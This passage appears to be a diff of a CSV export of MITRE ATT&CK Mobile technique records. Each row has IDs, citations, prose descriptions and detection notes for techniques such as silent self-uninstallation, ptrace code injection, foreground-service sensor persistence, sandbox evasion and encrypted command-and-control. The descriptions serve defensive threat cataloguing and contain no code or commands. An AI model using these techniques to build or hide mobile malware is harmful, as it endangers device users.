'defense-evasion'}]",1.0,False,https://attack.mitre.org/techniques/T1576,mitre-mobile-attack,T1576,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Uninstall Malicious Application,"Adversaries may include functionality in malware that uninstalls the malicious application from the device. This can be achieved by: +Adversaries may also take action to conceal modifications to application executables and bypass user consent. These actions include altering modifications to appear as an update or exploiting vulnerabilities that allow activities of the malicious application to run inside a system application.(Citation: CheckPoint Agent Smith)",['persistence'],https://attack.mitre.org/techniques/T1577,mitre-mobile-attack,T1577,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,This behavior is seamless to the user and is typically undetectable.,False,,['Android'],,,,,,,,['Post-Adversary Device Access'], +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1576', 'external_id': 'T1576'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-43.html', 'external_id': 'APP-43'}]",1.0,attack-pattern,attack-pattern--8c7862ff-3449-4ac6-b0fd-ac1298a822a5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-04T13:49:34.706Z,2020-05-26T18:05:37.393Z,Uninstall Malicious Application,"Adversaries may include functionality in malware that uninstalls the malicious application from the device. This can be achieved by: * Abusing device owner permissions to perform silent uninstallation using device owner API calls. * Abusing root permissions to delete files from the filesystem. -* Abusing the accessibility service. This requires an intent be sent to the system to request uninstallation, and then abusing the accessibility service to click the proper places on the screen to confirm uninstallation.",attack-pattern--8c7862ff-3449-4ac6-b0fd-ac1298a822a5,attack-pattern,['defense-evasion'],2020-05-26T18:05:37.393Z,2020-05-04T13:49:34.706Z,,,,,,['Android'],,,,,,,,,,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'external_id': 'T1575', 'url': 'https://attack.mitre.org/techniques/T1575'}, {'source_name': 'Google NDK Getting Started', 'url': 'https://developer.android.com/ndk/guides', 'description': 'Google. (2019, December 27). Getting Started with the NDK. Retrieved April 28, 2020.'}, {'source_name': 'MITRE App Vetting Effectiveness', 'url': 'https://www.mitre.org/sites/default/files/publications/pr-16-4772-analyzing-effectiveness-mobile-app-vetting-tools-report.pdf', 'description': 'M. Peck, C. Northern. (2016, August 22). Analyzing the Effectiveness of App Vetting Tools in the Enterprise. Retrieved April 28, 2020.'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'execution'}]",1.0,False,https://attack.mitre.org/techniques/T1575,mitre-mobile-attack,T1575,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Native Code,"Adversaries may use Android’s Native Development Kit (NDK) to write native functions that can achieve execution of binaries or functions. Like system calls on a traditional desktop operating system, native code achieves execution on a lower level than normal Android SDK calls. +* Abusing the accessibility service. This requires an intent be sent to the system to request uninstallation, and then abusing the accessibility service to click the proper places on the screen to confirm uninstallation.",['defense-evasion'],https://attack.mitre.org/techniques/T1576,mitre-mobile-attack,T1576,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,False,,['Android'],,,,,,,,['Post-Adversary Device Access'], +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1575', 'external_id': 'T1575'}, {'source_name': 'Google NDK Getting Started', 'description': 'Google. (2019, December 27). Getting Started with the NDK. Retrieved April 28, 2020.', 'url': 'https://developer.android.com/ndk/guides'}, {'source_name': 'MITRE App Vetting Effectiveness', 'description': 'M. Peck, C. Northern. (2016, August 22). Analyzing the Effectiveness of App Vetting Tools in the Enterprise. Retrieved April 28, 2020.', 'url': 'https://www.mitre.org/sites/default/files/publications/pr-16-4772-analyzing-effectiveness-mobile-app-vetting-tools-report.pdf'}]",1.0,attack-pattern,attack-pattern--52eff1c7-dd30-4121-b762-24ae6fa61bbb,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-04-28T14:35:37.309Z,2020-04-28T18:34:15.373Z,Native Code,"Adversaries may use Android’s Native Development Kit (NDK) to write native functions that can achieve execution of binaries or functions. Like system calls on a traditional desktop operating system, native code achieves execution on a lower level than normal Android SDK calls. The NDK allows developers to write native code in C or C++ that is compiled directly to machine code, avoiding all intermediate languages and steps in compilation that higher level languages, like Java, typically have. The Java Native Interface (JNI) is the component that allows Java functions in the Android app to call functions in a native library.(Citation: Google NDK Getting Started) -Adversaries may also choose to use native functions to execute malicious code since native actions are typically much more difficult to analyze than standard, non-native behaviors.(Citation: MITRE App Vetting Effectiveness)",attack-pattern--52eff1c7-dd30-4121-b762-24ae6fa61bbb,attack-pattern,"['defense-evasion', 'execution']",2020-04-28T18:34:15.373Z,2020-04-28T14:35:37.309Z,This is abuse of standard OS-level APIs and are therefore typically undetectable to the end user.,,,,,['Android'],,,,,,,,,,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'external_id': 'T1544', 'url': 'https://attack.mitre.org/techniques/T1544'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'command-and-control'}]",1.0,False,https://attack.mitre.org/techniques/T1544,mitre-mobile-attack,T1544,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Remote File Copy,Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or onto the victim’s device.,attack-pattern--2bb20118-e6c0-41dc-a07c-283ea4dd0fb8,attack-pattern,['command-and-control'],2020-01-21T15:27:30.182Z,2020-01-21T15:27:30.182Z,Downloading remote files is common application behavior and is therefore typically undetectable to the end user.,,,,,"['Android', 'iOS']",,,,,,,,,,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'external_id': 'T1541', 'url': 'https://attack.mitre.org/techniques/T1541'}, {'external_id': 'APP-19', 'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html'}, {'source_name': 'Android-SensorsOverview', 'url': 'https://developer.android.com/guide/topics/sensors/sensors_overview#sensors-practices', 'description': 'Google. (n.d.). Sensors Overview. Retrieved November 19, 2019.'}, {'source_name': 'Android-ForegroundServices', 'url': 'https://developer.android.com/guide/components/services.html#Foreground', 'description': 'Google. (n.d.). Services overview. Retrieved November 19, 2019.'}, {'source_name': 'BlackHat Sutter Android Foreground 2019', 'url': 'https://i.blackhat.com/eu-19/Thursday/eu-19-Sutter-Simple-Spyware-Androids-Invisible-Foreground-Services-And-How-To-Abuse-Them.pdf', 'description': 'Thomas Sutter. (2019, December). Simple Spyware Androids Invisible Foreground Services and How to (Ab)use Them. Retrieved December 26, 2019.'}, {'source_name': 'TrendMicro-Yellow Camera', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/fake-photo-beautification-apps-on-google-play-can-read-sms-verification-code-to-trigger-wireless-application-protocol-wap-carrier-billing/', 'description': 'Song Wang. (2019, October 18). Fake Photo Beautification Apps on Google Play can Read SMS Verification Code to Trigger Wireless Application Protocol (WAP)/Carrier Billing. Retrieved November 19, 2019.'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'persistence'}]",1.0,False,https://attack.mitre.org/techniques/T1541,mitre-mobile-attack,T1541,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Foreground Persistence,"Adversaries may abuse Android's `startForeground()` API method to maintain continuous sensor access. Beginning in Android 9, idle applications running in the background no longer have access to device sensors, such as the camera, microphone, and gyroscope.(Citation: Android-SensorsOverview) Applications can retain sensor access by running in the foreground, using Android’s `startForeground()` API method. This informs the system that the user is actively interacting with the application, and it should not be killed. The only requirement to start a foreground service is showing a persistent notification to the user.(Citation: Android-ForegroundServices) +Adversaries may also choose to use native functions to execute malicious code since native actions are typically much more difficult to analyze than standard, non-native behaviors.(Citation: MITRE App Vetting Effectiveness)","['defense-evasion', 'execution']",https://attack.mitre.org/techniques/T1575,mitre-mobile-attack,T1575,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,This is abuse of standard OS-level APIs and are therefore typically undetectable to the end user.,False,,['Android'],,,,,,,,['Post-Adversary Device Access'], +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1544', 'external_id': 'T1544'}]",1.0,attack-pattern,attack-pattern--2bb20118-e6c0-41dc-a07c-283ea4dd0fb8,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-21T15:27:30.182Z,2020-01-21T15:27:30.182Z,Remote File Copy,Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or onto the victim’s device.,['command-and-control'],https://attack.mitre.org/techniques/T1544,mitre-mobile-attack,T1544,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,Downloading remote files is common application behavior and is therefore typically undetectable to the end user.,False,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'], +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1541', 'external_id': 'T1541'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html', 'external_id': 'APP-19'}, {'source_name': 'Android-SensorsOverview', 'description': 'Google. (n.d.). Sensors Overview. Retrieved November 19, 2019.', 'url': 'https://developer.android.com/guide/topics/sensors/sensors_overview#sensors-practices'}, {'source_name': 'Android-ForegroundServices', 'description': 'Google. (n.d.). Services overview. Retrieved November 19, 2019.', 'url': 'https://developer.android.com/guide/components/services.html#Foreground'}, {'source_name': 'BlackHat Sutter Android Foreground 2019', 'description': 'Thomas Sutter. (2019, December). Simple Spyware Androids Invisible Foreground Services and How to (Ab)use Them. Retrieved December 26, 2019.', 'url': 'https://i.blackhat.com/eu-19/Thursday/eu-19-Sutter-Simple-Spyware-Androids-Invisible-Foreground-Services-And-How-To-Abuse-Them.pdf'}, {'source_name': 'TrendMicro-Yellow Camera', 'description': 'Song Wang. (2019, October 18). Fake Photo Beautification Apps on Google Play can Read SMS Verification Code to Trigger Wireless Application Protocol (WAP)/Carrier Billing. Retrieved November 19, 2019.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/fake-photo-beautification-apps-on-google-play-can-read-sms-verification-code-to-trigger-wireless-application-protocol-wap-carrier-billing/'}]",1.0,attack-pattern,attack-pattern--648f8051-1a35-46d3-b1d8-3a3f5cf2cc8e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-11-19T17:32:20.373Z,2019-12-26T16:14:33.302Z,Foreground Persistence,"Adversaries may abuse Android's `startForeground()` API method to maintain continuous sensor access. Beginning in Android 9, idle applications running in the background no longer have access to device sensors, such as the camera, microphone, and gyroscope.(Citation: Android-SensorsOverview) Applications can retain sensor access by running in the foreground, using Android’s `startForeground()` API method. This informs the system that the user is actively interacting with the application, and it should not be killed. The only requirement to start a foreground service is showing a persistent notification to the user.(Citation: Android-ForegroundServices) Malicious applications may abuse the `startForeground()` API method to continue running in the foreground, while presenting a notification to the user pretending to be a genuine application. This would allow unhindered access to the device’s sensors, assuming permission has been previously granted.(Citation: BlackHat Sutter Android Foreground 2019) -Malicious applications may also abuse the `startForeground()` API to inform the Android system that the user is actively interacting with the application, thus preventing it from being killed by the low memory killer.(Citation: TrendMicro-Yellow Camera)",attack-pattern--648f8051-1a35-46d3-b1d8-3a3f5cf2cc8e,attack-pattern,"['collection', 'persistence']",2019-12-26T16:14:33.302Z,2019-11-19T17:32:20.373Z,Users can see persistent notifications in their notification drawer and can subsequently uninstall applications that do not belong.,,"['Lorin Wu, Trend Micro']",,,['Android'],,,,,,,,,,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'external_id': 'T1540', 'url': 'https://attack.mitre.org/techniques/T1540'}, {'source_name': 'Shunix Code Injection Mar 2016', 'url': 'https://shunix.com/shared-library-injection-in-android/', 'description': 'Shunix . (2016, March 22). Shared Library Injection in Android. Retrieved October 30, 2019.'}, {'source_name': 'Fadeev Code Injection Aug 2018', 'url': 'https://fadeevab.com/shared-library-injection-on-android-8/', 'description': 'Alexandr Fadeev. (2018, August 26). Shared Library Injection on Android 8.0. Retrieved October 30, 2019.'}, {'source_name': 'Google Triada June 2019', 'url': 'https://security.googleblog.com/2019/06/pha-family-highlights-triada.html', 'description': 'Lukasz Siewierski. (2019, June 6). PHA Family Highlights: Triada. Retrieved July 16, 2019.'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]",1.0,False,https://attack.mitre.org/techniques/T1540,mitre-mobile-attack,T1540,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Code Injection,"Adversaries may use code injection attacks to implant arbitrary code into the address space of a running application. Code is then executed or interpreted by that application. Adversaries utilizing this technique may exploit capabilities to load code in at runtime through dynamic libraries. +Malicious applications may also abuse the `startForeground()` API to inform the Android system that the user is actively interacting with the application, thus preventing it from being killed by the low memory killer.(Citation: TrendMicro-Yellow Camera)","['collection', 'persistence']",https://attack.mitre.org/techniques/T1541,mitre-mobile-attack,T1541,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Lorin Wu, Trend Micro']",,,Users can see persistent notifications in their notification drawer and can subsequently uninstall applications that do not belong.,False,,['Android'],,,,,,,,['Post-Adversary Device Access'], +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1540', 'external_id': 'T1540'}, {'source_name': 'Shunix Code Injection Mar 2016', 'description': 'Shunix . (2016, March 22). Shared Library Injection in Android. Retrieved October 30, 2019.', 'url': 'https://shunix.com/shared-library-injection-in-android/'}, {'source_name': 'Fadeev Code Injection Aug 2018', 'description': 'Alexandr Fadeev. (2018, August 26). Shared Library Injection on Android 8.0. Retrieved October 30, 2019.', 'url': 'https://fadeevab.com/shared-library-injection-on-android-8/'}, {'source_name': 'Google Triada June 2019', 'description': 'Lukasz Siewierski. (2019, June 6). PHA Family Highlights: Triada. Retrieved July 16, 2019.', 'url': 'https://security.googleblog.com/2019/06/pha-family-highlights-triada.html'}]",1.0,attack-pattern,attack-pattern--039bc59c-ecc7-4997-b2b4-4ab728bd91aa,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-10-30T15:37:55.029Z,2020-03-29T04:07:06.663Z,Code Injection,"Adversaries may use code injection attacks to implant arbitrary code into the address space of a running application. Code is then executed or interpreted by that application. Adversaries utilizing this technique may exploit capabilities to load code in at runtime through dynamic libraries. With root access, `ptrace` can be used to target specific applications and load shared libraries into its process memory.(Citation: Shunix Code Injection Mar 2016)(Citation: Fadeev Code Injection Aug 2018) By injecting code, an adversary may be able to gain access to higher permissions held by the targeted application by executing as the targeted application. In addition, the adversary may be able to evade detection or enable persistent access to a system under the guise of the application’s process.(Citation: Google Triada June 2019) -",attack-pattern--039bc59c-ecc7-4997-b2b4-4ab728bd91aa,attack-pattern,"['persistence', 'privilege-escalation', 'defense-evasion']",2020-03-29T04:07:06.663Z,2019-10-30T15:37:55.029Z,"Code injection can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",,,,,"['Android', 'iOS']",,,,,,,,,,,,,,['Post-Adversary Device Access'] -"[{'external_id': 'T1533', 'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1533'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}]",1.0,,https://attack.mitre.org/techniques/T1533,mitre-mobile-attack,T1533,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Data from Local System,"Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system. +","['persistence', 'privilege-escalation', 'defense-evasion']",https://attack.mitre.org/techniques/T1540,mitre-mobile-attack,T1540,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Code injection can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",False,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'], +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1533', 'external_id': 'T1533'}]",1.0,attack-pattern,attack-pattern--e1c912a9-e305-434b-9172-8a6ce3ec9c4a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-10-10T15:12:42.790Z,2019-10-11T14:53:38.987Z,Data from Local System,"Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system. -Local system data includes information stored by the operating system. Access to local system data often requires escalated privileges (e.g. root access). Examples of local system data include authentication tokens, the device keyboard cache, Wi-Fi passwords, and photos.",attack-pattern--e1c912a9-e305-434b-9172-8a6ce3ec9c4a,attack-pattern,['collection'],2019-10-11T14:53:38.987Z,2019-10-10T15:12:42.790Z,"Accessing data from the local system can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",,,,,"['Android', 'iOS']",,,,,,,,,,,,,,['Post-Adversary Device Access'] -"[{'external_id': 'T1532', 'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1532'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'exfiltration'}]",1.0,,https://attack.mitre.org/techniques/T1532,mitre-mobile-attack,T1532,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Data Encrypted,"Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file formats that can encrypt files are RAR and zip.",attack-pattern--e3b936a4-6321-4172-9114-038a866362ec,attack-pattern,['exfiltration'],2019-10-10T15:00:44.181Z,2019-10-10T15:00:44.181Z,"Many encryption mechanisms are built into standard application-accessible APIs, and are therefore undetectable to the end user.",,,,,"['Android', 'iOS']",,,,,,,,,,,,,,['Post-Adversary Device Access'] -"[{'external_id': 'T1523', 'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1523'}, {'description': 'Vitor Ventura. (2019, April 9). Gustuff banking botnet targets Australia . Retrieved September 3, 2019.', 'url': 'https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html', 'source_name': 'Talos Gustuff Apr 2019'}, {'source_name': 'ThreatFabric Cerberus', 'url': 'https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html', 'description': 'ThreatFabric. (2019, August). Cerberus - A new banking Trojan from the underworld. Retrieved September 18, 2019.'}, {'url': 'http://researchcenter.paloaltonetworks.com/2016/02/pirated-ios-app-stores-client-successfully-evaded-apple-ios-code-review/', 'description': 'Claud Xiao. (2016, February 21). Pirated iOS App Store’s Client Successfully Evaded Apple iOS Code Review. Retrieved December 12, 2016.', 'source_name': 'Xiao-ZergHelper'}, {'source_name': 'Cyberscoop Evade Analysis January 2019', 'url': 'https://www.cyberscoop.com/android-malware-motion-detection-trend-micro/', 'description': 'Jeff Stone. (2019, January 18). Sneaky motion-detection feature found on Android malware. Retrieved October 2, 2019.'}, {'source_name': 'Github Anti-emulator', 'url': 'https://github.com/strazzere/anti-emulator', 'description': 'Tim Strazzere. (n.d.). Android Anti-Emulator. Retrieved October 2, 2019.'}, {'source_name': 'Sophos Anti-emulation', 'url': 'https://news.sophos.com/en-us/2017/04/13/android-malware-anti-emulation-techniques/', 'description': 'Chen Yu et al. . (2017, April 13). Android malware anti-emulation techniques. Retrieved October 2, 2019.'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'discovery'}]",1.0,,https://attack.mitre.org/techniques/T1523,mitre-mobile-attack,T1523,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Evade Analysis Environment,"Malicious applications may attempt to detect their operating environment prior to fully executing their payloads. These checks are often used to ensure the application is not running within an analysis environment such as a sandbox used for application vetting, security research, or reverse engineering. +Local system data includes information stored by the operating system. Access to local system data often requires escalated privileges (e.g. root access). Examples of local system data include authentication tokens, the device keyboard cache, Wi-Fi passwords, and photos.",['collection'],https://attack.mitre.org/techniques/T1533,mitre-mobile-attack,T1533,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Accessing data from the local system can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'], +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1532', 'external_id': 'T1532'}]",1.0,attack-pattern,attack-pattern--e3b936a4-6321-4172-9114-038a866362ec,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-10-10T15:00:44.181Z,2019-10-10T15:00:44.181Z,Data Encrypted,"Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file formats that can encrypt files are RAR and zip.",['exfiltration'],https://attack.mitre.org/techniques/T1532,mitre-mobile-attack,T1532,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Many encryption mechanisms are built into standard application-accessible APIs, and are therefore undetectable to the end user.",,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'], +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1523', 'external_id': 'T1523'}, {'source_name': 'Talos Gustuff Apr 2019', 'description': 'Vitor Ventura. (2019, April 9). Gustuff banking botnet targets Australia . Retrieved September 3, 2019.', 'url': 'https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html'}, {'source_name': 'ThreatFabric Cerberus', 'description': 'ThreatFabric. (2019, August). Cerberus - A new banking Trojan from the underworld. Retrieved September 18, 2019.', 'url': 'https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html'}, {'source_name': 'Xiao-ZergHelper', 'description': 'Claud Xiao. (2016, February 21). Pirated iOS App Store’s Client Successfully Evaded Apple iOS Code Review. Retrieved December 12, 2016.', 'url': 'http://researchcenter.paloaltonetworks.com/2016/02/pirated-ios-app-stores-client-successfully-evaded-apple-ios-code-review/'}, {'source_name': 'Cyberscoop Evade Analysis January 2019', 'description': 'Jeff Stone. (2019, January 18). Sneaky motion-detection feature found on Android malware. Retrieved October 2, 2019.', 'url': 'https://www.cyberscoop.com/android-malware-motion-detection-trend-micro/'}, {'source_name': 'Github Anti-emulator', 'description': 'Tim Strazzere. (n.d.). Android Anti-Emulator. Retrieved October 2, 2019.', 'url': 'https://github.com/strazzere/anti-emulator'}, {'source_name': 'Sophos Anti-emulation', 'description': 'Chen Yu et al. . (2017, April 13). Android malware anti-emulation techniques. Retrieved October 2, 2019.', 'url': 'https://news.sophos.com/en-us/2017/04/13/android-malware-anti-emulation-techniques/'}]",1.0,attack-pattern,attack-pattern--786f488c-cb1f-4602-89c5-86d982ee326b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-10-02T14:46:43.632Z,2019-10-11T14:48:50.525Z,Evade Analysis Environment,"Malicious applications may attempt to detect their operating environment prior to fully executing their payloads. These checks are often used to ensure the application is not running within an analysis environment such as a sandbox used for application vetting, security research, or reverse engineering. Adversaries may use many different checks such as physical sensors, location, and system properties to fingerprint emulators and sandbox environments.(Citation: Talos Gustuff Apr 2019)(Citation: ThreatFabric Cerberus)(Citation: Xiao-ZergHelper)(Citation: Cyberscoop Evade Analysis January 2019) Adversaries may access `android.os.SystemProperties` via Java reflection to obtain specific system information.(Citation: Github Anti-emulator) Standard values such as phone number, IMEI, IMSI, device IDs, and device drivers may be checked against default signatures of common sandboxes.(Citation: Sophos Anti-emulation) -",attack-pattern--786f488c-cb1f-4602-89c5-86d982ee326b,attack-pattern,"['defense-evasion', 'discovery']",2019-10-11T14:48:50.525Z,2019-10-02T14:46:43.632Z,"Analysis Environment avoidance capabilities can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",,,,,"['Android', 'iOS']",,,,,,,,,,,,,,['Post-Adversary Device Access'] -"[{'external_id': 'T1521', 'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1521'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'command-and-control'}]",1.0,,https://attack.mitre.org/techniques/T1521,mitre-mobile-attack,T1521,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Standard Cryptographic Protocol,"Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.",attack-pattern--ed2c05a1-4f81-4d97-9e1b-aff01c34ae84,attack-pattern,['command-and-control'],2019-10-01T14:18:47.762Z,2019-10-01T14:18:47.762Z,"Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is undetectable to the user.",,,,,"['Android', 'iOS']",,,,,,,,,,,,,,['Post-Adversary Device Access'] -"[{'external_id': 'T1520', 'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1520'}, {'source_name': 'securelist rotexy 2018', 'url': 'https://securelist.com/the-rotexy-mobile-trojan-banker-and-ransomware/88893/', 'description': 'T. Shishkova, L. Pikman. (2018, November 22). The Rotexy mobile Trojan – banker and ransomware. Retrieved September 23, 2019.'}, {'source_name': 'Data Driven Security DGA', 'url': 'https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/', 'description': 'Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'command-and-control'}]",1.0,,https://attack.mitre.org/techniques/T1520,mitre-mobile-attack,T1520,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Domain Generation Algorithms,"Adversaries may use [Domain Generation Algorithms](https://attack.mitre.org/techniques/T1520) (DGAs) to procedurally generate domain names for command and control communication, and other uses such as malicious application distribution.(Citation: securelist rotexy 2018) +","['defense-evasion', 'discovery']",https://attack.mitre.org/techniques/T1523,mitre-mobile-attack,T1523,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Analysis Environment avoidance capabilities can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'], +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1521', 'external_id': 'T1521'}]",1.0,attack-pattern,attack-pattern--ed2c05a1-4f81-4d97-9e1b-aff01c34ae84,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-10-01T14:18:47.762Z,2019-10-01T14:18:47.762Z,Standard Cryptographic Protocol,"Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.",['command-and-control'],https://attack.mitre.org/techniques/T1521,mitre-mobile-attack,T1521,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is undetectable to the user.",,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'], +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-mobile-attack', 'url': 